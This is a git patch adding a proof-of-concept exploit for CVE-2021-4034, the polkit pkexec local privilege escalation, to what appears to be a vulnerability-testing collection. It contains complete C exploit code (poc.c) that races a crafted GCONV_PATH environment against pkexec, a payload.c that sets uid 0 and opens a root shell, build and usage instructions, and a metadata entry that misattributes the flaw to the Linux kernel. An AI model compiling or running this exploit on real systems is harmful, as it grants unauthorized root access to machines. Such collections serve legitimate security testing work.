From 2d70f0d30037e675ae7294c7c8918f0cba9a1362 Mon Sep 17 00:00:00 2001 From: Jessica Date: Tue, 14 Mar 2023 17:35:45 +0800 Subject: [PATCH] =?UTF-8?q?=E6=8F=90=E4=BA=A4CVE-2021-4034?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2021/CVE-2021-4034/.gitignore | 1 + cve/linux-kernel/2021/CVE-2021-4034/Makefile | 5 + cve/linux-kernel/2021/CVE-2021-4034/README.md | 14 ++ cve/linux-kernel/2021/CVE-2021-4034/payload.c | 32 ++++ cve/linux-kernel/2021/CVE-2021-4034/poc.c | 178 ++++++++++++++++++ cve/linux-kernel/2021/yaml/CVE-2021-4034.yaml | 22 +++ openkylin_list.yaml | 1 + 7 files changed, 253 insertions(+) create mode 100644 cve/linux-kernel/2021/CVE-2021-4034/.gitignore create mode 100644 cve/linux-kernel/2021/CVE-2021-4034/Makefile create mode 100644 cve/linux-kernel/2021/CVE-2021-4034/README.md create mode 100644 cve/linux-kernel/2021/CVE-2021-4034/payload.c create mode 100644 cve/linux-kernel/2021/CVE-2021-4034/poc.c create mode 100644 cve/linux-kernel/2021/yaml/CVE-2021-4034.yaml diff --git a/cve/linux-kernel/2021/CVE-2021-4034/.gitignore b/cve/linux-kernel/2021/CVE-2021-4034/.gitignore new file mode 100644 index 00000000..7e64c992 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-4034/.gitignore @@ -0,0 +1 @@ +poc \ No newline at end of file diff --git a/cve/linux-kernel/2021/CVE-2021-4034/Makefile b/cve/linux-kernel/2021/CVE-2021-4034/Makefile new file mode 100644 index 00000000..8f14256f --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-4034/Makefile @@ -0,0 +1,5 @@ +all: + gcc -Wall -Werror -o poc poc.c -lpthread + +payload: + gcc -o payload_test payload.c \ No newline at end of file diff --git a/cve/linux-kernel/2021/CVE-2021-4034/README.md b/cve/linux-kernel/2021/CVE-2021-4034/README.md new file mode 100644 index 00000000..35b85c8f --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-4034/README.md @@ -0,0 +1,14 @@ +# pkexec-lpe-poc +POC for CVE-2021-4034 + +[Original Writeup](https://seclists.org/oss-sec/2022/q1/80) + +For ease of use, it accepts a C file payload instead of a hardcoded shell. + +usage: +``` +make +./poc payload.c +``` + +tested on `Ubuntu 20.04.3 LTS - Linux target 5.4.0-81-generic` diff --git a/cve/linux-kernel/2021/CVE-2021-4034/payload.c b/cve/linux-kernel/2021/CVE-2021-4034/payload.c new file mode 100644 index 00000000..07bb9977 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-4034/payload.c @@ -0,0 +1,32 @@ +#include +#include +#include +#include +#include + +void payload() { + // replace with code you want to run as root + system("/bin/sh"); +} + +void gconv() {} + +void gconv_init() { + printf("[*] Won Race\n"); + int lfd = open("/tmp/privlock", O_RDWR); + // lock file for our use only + // seems to be able to trigger multiple times + if (0 != flock(lfd, LOCK_EX | LOCK_NB)) { + goto exit; + } + setuid(0); + setgid(0); + setenv("PATH", "/usr/local/sbin:/usr/local/bin:/usr/bin:/bin/:", 1); + system("rm -rf GCONV_PATH=."); + system("rm -rf privesc"); + payload(); + system("rm /tmp/privlock"); + +exit: + exit(EXIT_SUCCESS); +} diff --git a/cve/linux-kernel/2021/CVE-2021-4034/poc.c b/cve/linux-kernel/2021/CVE-2021-4034/poc.c new file mode 100644 index 00000000..8b6ab793 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-4034/poc.c @@ -0,0 +1,178 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +static char *pk_path = "/usr/bin/pkexec"; +static char *lock_file = "/tmp/privlock"; +static char *pk_args[] = {NULL}; +static char *pk_envs[] = {"privesc", "PATH=GCONV_PATH=.", "CHARSET=PRIVESC", + NULL}; + +atomic_int halt = 0; + +void read_payload(char *payload_file, char **payload_contents) { + FILE *pfp = NULL; + struct stat payload_stats = {0}; + size_t bytes_read = 0; + + if (NULL == payload_contents) { + fprintf(stderr, "[-] Can't read to NULL ptr\n"); + goto exit; + } + + if (0 > stat(payload_file, &payload_stats)) { + fprintf(stderr, "[-] Failed to stat payload file\n"); + *payload_contents = NULL; + goto exit; + } + + if (NULL == (pfp = fopen(payload_file, "r"))) { + fprintf(stderr, "[-] Failed to open payload file\n"); + *payload_contents = NULL; + goto exit; + } + + *payload_contents = calloc(payload_stats.st_size, sizeof(char)); + if (NULL == *payload_contents) { + fprintf(stderr, "[-] Failed calloc for payload\n"); + *payload_contents = NULL; + goto exit; + } + + bytes_read = + fread(*payload_contents, sizeof(char), payload_stats.st_size, pfp); + if (bytes_read != payload_stats.st_size) { + fprintf(stderr, "[-] Failed to read full payload: %ld of %ld\n", bytes_read, + payload_stats.st_size); + free(*payload_contents); + *payload_contents = NULL; + } + +exit: + if (NULL != pfp) { + fclose(pfp); + } + return; +} + +void setup(char *payload_file) { + FILE *fp = NULL; + FILE *pfp = NULL; + char *pl_contents = NULL; + + if (NULL == payload_file) { + fprintf(stderr, "[-] Payload file ptr null\n"); + goto fail; + } + + read_payload(payload_file, &pl_contents); + + if (NULL == pl_contents) { + fprintf(stderr, "[-] Unable to setup exploit\n"); + goto fail; + } + + // reset folder, dont care if these fail + remove(lock_file); + + // GCONV_PATH setup + if ((0 != mkdir("GCONV_PATH=.", 0700)) || + (NULL == fopen("GCONV_PATH=./privesc", "w+")) || + (0 != chmod("GCONV_PATH=./privesc", S_IRWXU))) { + + fprintf(stderr, "[-] Failed to create GCONV_PATH files\n"); + goto fail; + } + + // GConv Module Setup + if ((0 != mkdir("privesc", 0700)) || + (NULL == (pfp = fopen("privesc/gconv-modules", "w+")))) { + fprintf(stderr, "[-] Failed to create privesc files\n"); + goto fail; + } + fprintf(pfp, "%s", "module UTF-8// PRIVESC// privesc 2"); + fclose(pfp); + + // Malicious Module + fp = fopen("privesc/privesc.c", "w"); + fprintf(fp, "%s", pl_contents); + fclose(fp); + free(pl_contents); + + if (0 != + system("gcc -o privesc/privesc.so -shared -fPIC privesc/privesc.c")) { + fprintf(stderr, "[-] Failed to compile privesc\n"); + goto fail; + } + + return; + +fail: + exit(EXIT_FAILURE); +} + +void *race() { + for (; 0 == halt;) { + rename("GCONV_PATH=./privesc", "GCONV_PATH=./race"); + rename("GCONV_PATH=./race", "GCONV_PATH=./privesc"); + } + + return NULL; +} + +void *pwn() { + int lfd = open("/tmp/privlock", O_CREAT); + + // simple file lock; payload grabs lock on good run + for (; 0 == flock(lfd, LOCK_EX | LOCK_NB);) { + flock(lfd, LOCK_UN); + if (0 == fork()) { + // execve must be run in process with parent 1 to avoid syslog + if (0 == fork()) { + execve(pk_path, pk_args, pk_envs); + } + exit(EXIT_SUCCESS); + } + } + + // stop race thread + // busywait while other payload runs + halt = 1; + flock(lfd, LOCK_EX); + + return NULL; +} + +int main(int argc, char *argv[]) { + int ret = 0; + pthread_t pwn_id = 0; + pthread_t race_id = 0; + + if (argc < 2 || argv[1] == NULL) { + fprintf(stderr, "[-] Need Payload C File for Malicious SO\n"); + ret = 1; + goto exit; + } + + setup(argv[1]); + + // start thread to cause race condition + pthread_create(&race_id, NULL, race, NULL); + printf("[*] Started Race Thread\n"); + + // race condition exploitation + pthread_create(&pwn_id, NULL, pwn, NULL); + printf("[*] Trying to win race\n"); + + // join threads + pthread_join(pwn_id, NULL); + pthread_join(race_id, NULL); + +exit: + return ret; +} \ No newline at end of file diff --git a/cve/linux-kernel/2021/yaml/CVE-2021-4034.yaml b/cve/linux-kernel/2021/yaml/CVE-2021-4034.yaml new file mode 100644 index 00000000..c9727aff --- /dev/null +++ b/cve/linux-kernel/2021/yaml/CVE-2021-4034.yaml @@ -0,0 +1,22 @@ +id: CVE-2021-4034 +source: https://github.com/callrbx/pkexec-lpe-poc +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine. + scope-of-influence: + Linux 2.1~v5.15 + reference: + - http://packetstormsecurity.com/files/166196/Polkit-pkexec-Local-Privilege-Escalation.html + - http://packetstormsecurity.com/files/166200/Polkit-pkexec-Privilege-Escalation.html + - https://access.redhat.com/security/vulnerabilities/RHSB-2022-001 + - https://bugzilla.redhat.com/show_bug.cgi?id=2025869 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2021-4034 + cwe-id: CWE-787, CWE-125 + cnvd-id: None + kve-id: None + tags: cve2021, 越界读写 \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 897401df..8bad7d30 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -40,6 +40,7 @@ cve: - CVE-2022-0435 - CVE-2021-26708 - CVE-2022-2078 + - CVE-2021-4034 sudo: - CVE-2021-3156 - CVE-2023-22809 -- Gitee